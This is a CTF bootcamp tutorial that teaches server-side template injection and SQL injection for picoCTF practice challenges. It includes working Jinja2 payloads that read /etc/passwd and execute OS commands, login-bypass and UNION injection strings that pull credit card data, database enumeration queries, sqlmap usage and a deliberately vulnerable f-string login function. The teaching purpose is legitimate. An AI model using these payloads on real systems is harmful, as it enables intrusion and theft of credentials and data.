CTF Bootcamp S6: ;DROP flags --
This article adapts the bootcamp session notes into a readable post. View the slides.
Today
- Dynamic web pages
- Server-side template injection
- SQL
- SQL injection
- Database introspection
- Hack time!
Tools
Install please:
- Burp Suite
Dynamic web pages
While an HTTP request to a site will usually deliver HTML content, this content may not be always static
Think a social media or news site, the information displayed varies though the day
Client-side dynamic web pages
The dynamism can occur client-side by loading an initial HTML and scripts (JS) that make subsequent requests that modify the DOM with the dynamic content
Example
<!DOCTYPE html>
<html>
<head>
<title>View user</title>
</head>
<body>
<p id="output">Loading...</p>
<script>
fetch("/user")
.then((response) => response.json())
.then((data) => {
document.getElementById("output").textContent =
data.name + " (" + data.email + ")";
})
.catch(() => {
document.getElementById("output").textContent =
"Failed to load data.";
});
</script>
</body>
</html>The server would implement the /user endpoint and have
it return the appropriate information.
Server-side dynamic web pages
Instead of the client building the page, the server can build the response HTML using server-side scripts (e.g., PHP, Python, Node).
Server-side templates
Instead of having to create the response HTML by doing many string operations, we can specify some skeleton for the response and have values placed into the skeleton when generating the response.
Server-side templates specify that skeleton, some logic and variables that must be passed to render the template.
Example
templates/base.html
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<header>
<h1>Flask App</h1>
<hr>
</header>
{% block content %}{% endblock %}
</body>
</html>templates/index.html
{% extends "base.html" %}
{% block content %}
<h2>Fruit List</h2>
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
{% endblock %}app.py
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/")
def home():
items = ["Apples", "Bananas", "Cherries"]
return render_template("index.html", title="Home", items=items)
if __name__ == "__main__":
app.run()Server-side template injection (SSTI)
While passing variables to the template render function is usually safe (the programming language and templating engine take care of that), direct string interpolation into template code is usually not.
If we manage to inject code into the template before it's rendered, we could have that code execute in the server while the template is inflated.
Identifying possible injection
We can notice server side rendering when a page request varies its response and no client side rendering is being done.
We may be asked to fill a form and get some HTML response back with some portion of the form reflected.
Testing
We can try testing for some basic injections in the possible vulnerable parameters and see if we manage to execute code or have the server respond 500.
Templating languages
The testing payloads and exploitation routes depend on the templating engine used in the backend.
This varies according to the programming language used and programming languages may have different templating engines availables
A general payload that should 500 many templates engines is:
${{<%[%'"}}%\.Once identified the templating engine, we should consult the documentation of the template engine and the programming language to find how to exploit it.
Or use resources like HackTricks and PayloadsAllTheThings.
Jinja2
Jinja is a templating engine for Python web frameworks (e.g., Flask, Django).
Expressions are evaluated like , but we are
restricted to what's present in the Jinja environment.
{{ 7 * 7 }}Would result in 49.
Payload examples
Read files:
{{ ''.__class__.__mro__[2].__subclasses__() }}We get a list of classes, locate File.
Assuming it's 40.
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}Execute commands:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}We may have to adapt our payloads to work properly in the server instance.
Template examples
TODO
Exercises
- SSTI1 https://play.picoctf.org/practice/challenge/492
- SSTI2 https://play.picoctf.org/practice/challenge/488
SQL databases
Web applications store data on databases.
The most common storage are SQL databases.
SQL queries are used by the web application to retrieve data from the DB.
This means that client requests cause SQL statements to be executed, probably with some user controlled arguments used.
SQL
While there are many SQL DBMS that vary in some syntax and semantics details, they adhere to a common ISO standard for the Structured Query Language.
There are SQL statements for retrieving, updating, deleting, and inserting data.
There are SQL statements for managing database objects (tables, schemas, users).
Tables
A SQL table is a set of tuples (or rows) with common headings (i.e., a position represent some attribute in each tuple).
Definition example
CREATE TABLE logins (
id INT,
username VARCHAR(100),
password VARCHAR(100),
date_of_joining DATETIME
);Schemas
A schema is a grouping of SQL tables.
Generally one application will use one schema for its data. Other applications may reuse the DB by specifying their own schema.
SQL statements are executed in the context of a schema on which unqualified tables will be searched (table names can reoccur among schemas).
Nonetheless, schemas can be specified on a per table basis like
schema.table.
Note: SQLite does not use schemas, all tables live in the same namespace.
INSERT
Insert rows into a table.
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);SELECT
Select data from a table.
SELECT column1, column2 FROM table_name;The column names must be present in the table.
We can query for all columns with *.
SELECT * FROM table_name;We can also evaluate expressions among columns.
SELECT column1 * column2 FROM table_name;And even use literals
SELECT 100 + column1 FROM table_name;WHERE
We can filter results of SELECT queries.
SELECT * FROM table_name WHERE <expression>;Possible expressions are:
exp1 < exp2Also <=, >, and so.
Expressions may be literals (e.g., 'ABC, 2)
or column names to refer to the corresponding value in a tuple (the
condition is evaluated for each row).
Likewise, each expression may be other expressions to create complex filters.
exp1 = exp2
exp1 != exp2Test equality and inequality.
exp1 AND exp2And between two expressions.
exp1 OR exp2Or between two expressions.
NOT expNegates expression result.
Operator precedence is defined in the usual way (e.g., MariaDB).
We can group expressions to force precedence
(exp)Example
A possible query to check for user credentials could be:
SELECT * FROM user WHERE username = 'tom' AND password = 'toor';UPDATE
Update (modify in place) rows in a table.
UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;The possible condition are the same as for the
SELECT statements.
SQL injection
Same as in SSTI, there are safe ways of adding user parameters to queries.
Parameterized query:
def login(username, password):
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password)
)
result = cursor.fetchone()
conn.close()
return resultBut as in SSTI, raw string interpolation is vulnerable:
def login(username, password):
conn = sqlite3.connect("users.db")
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
result = cursor.fetchone()
conn.close()
return resultA normal user may give values that when interpolated result in the intended query.
Take username = john, password =
neogeo.
SELECT * FROM users WHERE username = 'john' AND password = 'neogeo'But a malicious user could send username = admin' --,
password = pwnd.
The query would become:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'pwnd'As -- is the line comment sequence for SQL, the rest of
the query is ignored and the query is subverted.
SQL comments
The comment sequence for SQL is -- , it indicates that
the rest of the query line should be ignored.
The sequences /* and # work in some RDBMs
too.
Subverting queries
To inject into a query, we must have an idea of the query structure.
In the previous example:
username = '{username}' AND password = '{password}', our
input was surrounded by single quotes, so our payload was admin' -- that escaped the quotes and then
started a comment to ignore the rest of the query line that would be
invalid syntax otherwise.
We would like to get an error (500 probably) and a valid query to know that we have escaped the query structure.
Some payloads to test are ', ", #, ; and ).
Once identified the surrounding context, we may inject the query to accomplish our objectives.
Exercises
- SQLiLite https://play.picoctf.org/practice/challenge/304
- More SQLi https://play.picoctf.org/practice/challenge/358
- Irish-Name-Repo 1 https://play.picoctf.org/practice/challenge/80
- Irish-Name-Repo 2 https://play.picoctf.org/practice/challenge/59
- Irish-Name-Repo 3 https://play.picoctf.org/practice/challenge/8
UNION
We can combine results of multiple SQL queries in one single expression.
SELECT * FROM T1 UNION SELECT * FROM T2;Both SELECT expressions must return the same number of columns. The column names don't matter, the names from the first query are used for all.
If we don't know how many columns are being returned, we can try guessing with literals until we get a successful query.
SELECT * FROM T1 UNION SELECT 1 FROM T2;
SELECT * FROM T1 UNION SELECT 1, 2 FROM T2;
SELECT * FROM T1 UNION SELECT 1, 2, 3 FROM T2;The second query would have 1 column, 2 columns, and 3 columns respectively.
UNION injection
Take our previous vulnerable query example:
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"We could have username =
AAA' UNION SELECT cc_numbers, cc_cvv FROM credit_cards --,
password = pwnd.
The query would become:
SELECT * FROM users WHERE username = 'AAA' UNION SELECT cc_numbers, cc_cvv, 3 FROM credit_cards -- ' AND password = 'pwnd'And (assuming we have the right number of columns) we would be getting credit card details back with our response.
String concatenation
DBMS support different syntax for concatenating strings.
The two main ones are the function CONCAT() (most RDBMS)
and the operator || (PostgreSQL, SQLite).
CONCAT('A', 'B')
'A' || 'B'Both may result in in 'AB'.
We can use it to concatenate columns.
In the previous example
SELECT * FROM users WHERE username = 'AAA' UNION SELECT cc_numbers || ':' || cc_cvv FROM credit_cards -- ' AND password = 'pwnd'Would return cc_numbers and cc_cvv in a
single column, which could be useful if we wanted to to return more
values that columns we have visible in the output.
Column aggregation
While the previous syntax worked for concatenating values in the same
tuple, we can also concatenate values across tuples to collapse them
into a single row (subject to GROUP BY).
STRING_AGG(row_expression, separator) -- PostgreSQL, SQLite
GROUP_CONCAT(row_expression SEPARATOR separator) -- MySQLThe row_expression to concatenate could be a single
column name (e.g., user) or some other expression (e.g.,
user || password, CONCAT(user, password)).
Database introspection
SQL databases store information about their schemas (e.g., schema names, table names, columns in table) into the database itself.
This is usually in the special schema information_schema.
Using this and UNION-injections we can enumerate the
tables in a database.
information_schema.schemata
Information about all schemas in the server
Columns:
schema_name: Schema name
SELECT schema_name FROM information_schema.schemata;information_schema.tables
Information about all tables in the server
Columns:
table_schema: Schema containing the tabletable_name: Table name
SELECT table_name FROM information_schema.tables WHERE table_schema = 'app';information_schema.columns
Information about the columns in every table
Columns:
table_schema: Schema containing the tabletable_name: Table namecolumn_name: Column namedata_type: Column data type
SELECT column_name, data_type FROM information_schema.columns
WHERE table_schema = 'app' AND table_name = 'users';Table enumeration
After locating interesting tables and columns we can do our usual SQL queries to get their data.
SELECT user, password FROM users;Password dumping
Passwords are usually stored not as plaintext but as some hash of the corresponding password.
Search instructions for john / hashcat
cracking or use https://crackstation.net
More information to be seen in future cryptography session.
sqlite_schema
For SQLite, we have a single table that contains the information about all tables in the database.
CREATE TABLE sqlite_schema(
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);From the documentation:
type: 'table', 'index', 'view', or 'trigger'name: name of the objectsql: SQL text that describes the object
Example
sqlite> SELECT * FROM sqlite_schema;
table|user|user|2|CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)
index|sqlite_autoindex_user_1|user|3|
table|code_snippet|code_snippet|4|CREATE TABLE code_snippet (
id INTEGER NOT NULL,
user_id INTEGER NOT NULL,
code TEXT NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES user (id)
)sqlite> SELECT sql FROM sqlite_schema WHERE name = 'user';
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)Blind injections
Sometimes, we won't be able to view the result of the query directly.
In such cases we are injecting blind and must use other mechanism to get the information back.
If we can get some indicator that a query evaluated to false (returned no results), we do a boolean blind injection and extract one bit of information per query.
If no such indicator exists, we may still be able to evaluate
something like SLEEP(5) conditionally on the query and the
query completion time would get us one bit of information.
As these mechanism are query-intensive (many queries are needed to get complete information), we use automated tools or scripts that do the injections and data collection automatically.
sqlmap
Automatic SQL injection and database takeover tool
Very complete and many options, check the --help,
tldr and online examples.
e.g.,
sqlmap -u URL --data=DATATries to inject the given URL with POST data DATA.
Exercises
- SQL Direct https://play.picoctf.org/practice/challenge/303
- Startup Company https://play.picoctf.org/practice/challenge/108
- PicoCTF 2026
Further learning
- pwn.college — Learn to Hack! https://pwn.college/